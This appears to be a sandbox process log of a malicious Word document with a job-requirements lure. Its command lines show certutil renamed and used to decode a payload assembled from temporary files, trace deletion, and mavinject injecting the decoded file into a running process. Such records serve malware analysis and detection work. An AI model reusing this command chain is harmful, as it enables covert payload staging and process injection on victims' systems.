WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE" "C:\Users\test22\AppData\Local\Temp\rheinmetall job requirements.doc"
2216cmd.exe "C:\Windows\System32\cmd.exe" /c md c:\Drivers
1204cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\Windows\system32\certut*.exe c:\Drivers\DriverUpdateFx.exe
2932cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b c:\Drivers\DriverGFE.tmp+c:\Drivers\DriverGFXCoin.tmp c:\Drivers\DriverCPHS.tmp & del c:\Drivers\DriverGFE.tmp & del c:\Drivers\DriverGFXCoin.tmp
3028cmd.exe "C:\Windows\System32\cmd.exe" /c c:\Drivers\DriverUpdateFx.exe -decode c:\Drivers\DriverCPHS.tmp c:\Drivers\DriverGFX.tmp & del c:\Drivers\DriverCPHS.tmp & del c:\Drivers\DriverUpdateFx.exe
2296DriverUpdateFx.exe c:\Drivers\DriverUpdateFx.exe -decode c:\Drivers\DriverCPHS.tmp c:\Drivers\DriverGFX.tmp
2316cmd.exe "C:\Windows\System32\cmd.exe" /c mavinject.exe 1848 /injectrunning c:\Drivers\DriverGFX.tmp
1468